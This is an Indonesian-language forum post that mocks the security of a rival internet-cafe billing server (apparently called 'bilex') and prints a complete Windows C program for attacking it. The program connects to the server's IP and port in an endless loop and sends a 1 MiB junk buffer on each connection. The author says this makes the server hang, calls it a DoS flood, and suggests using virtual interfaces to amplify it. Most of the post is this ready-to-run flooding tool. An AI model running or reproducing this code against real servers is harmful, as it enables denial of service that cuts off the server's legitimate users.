lihat di
http://gbilling.sourceforge.net/faq.html#001kenapa ini tidak kita pakai!...
saya akan menulis kode di sini..
jika saja anda memakai billing seperti itu...
coba pakei program dibawah ini, (program ini ditulis
apa adanya saja

)
ip: ip server anda
port: port billing
size: besar paket data yg anda akan kirim... (default 1024 KiB, atau 1 MiB)
Code:
#include <windows.h>
#include <winsock2.h>
#include <stdlib.h>
#include <stdio.h>
#define DEFAULT_PORT 1500
#define DEFAULT_SIZE 1048576
static void
exit_error (const char *msg)
{
printf ("%s: %i\n", msg, WSAGetLastError ());
exit (EXIT_FAILURE);
}
static void
usage (const char *msg)
{
printf ("Usage: %s <ip> [port] [paket]\n"
" ip : bilex's server ip\n"
" port : bilex's server port (default is 1500)\n"
" packet : packet size (default is 1048576 bytes)\n", msg);
exit (EXIT_FAILURE);
}
int
main (int argc,
char *argv[])
{
struct sockaddr_in saddr;
int s, ret;
short port = DEFAULT_PORT;
long size = DEFAULT_SIZE;
WORD WsaVer;
WSADATA WsaData;
if (argc < 2 || argc > 4)
usage (argv[0]);
if (argc == 3)
port = atoi (argv[2]);
if (argc == 4)
{
port = atoi (argv[2]);
size = atol (argv[3]);
}
char buf[size];
WsaVer = MAKEWORD (2, 2);
if (WSAStartup (WsaVer, &WsaData))
exit_error ("WSAStartup");
memset (&saddr, 0, sizeof(saddr));
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr (argv[1]);
saddr.sin_port = htons (port);
memset (buf, 0xf, sizeof(buf));
printf ("sucking... %s on port %i with %li bytes data\n", argv[1], port, size);
while (1)
{
s = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s == INVALID_SOCKET)
exit_error ("socket");
ret = connect (s, (struct sockaddr *) &saddr, sizeof(saddr));
if (ret == SOCKET_ERROR)
{
printf ("connect: %i\n", WSAGetLastError ());
closesocket (s);
continue;
}
ret = send (s, buf, sizeof(buf), 0);
if (ret == -1)
printf ("send: %i\n", WSAGetLastError ());
closesocket (s);
}
WSACleanup ();
return 0;
}
so? server hang dan tidak bisa menerima request client lainnya...
ini adalah flooding DoS (denial of service)... lebih masalah jika
penyerang membuat virtual host dengan virtual interface kartu
jaringan juga...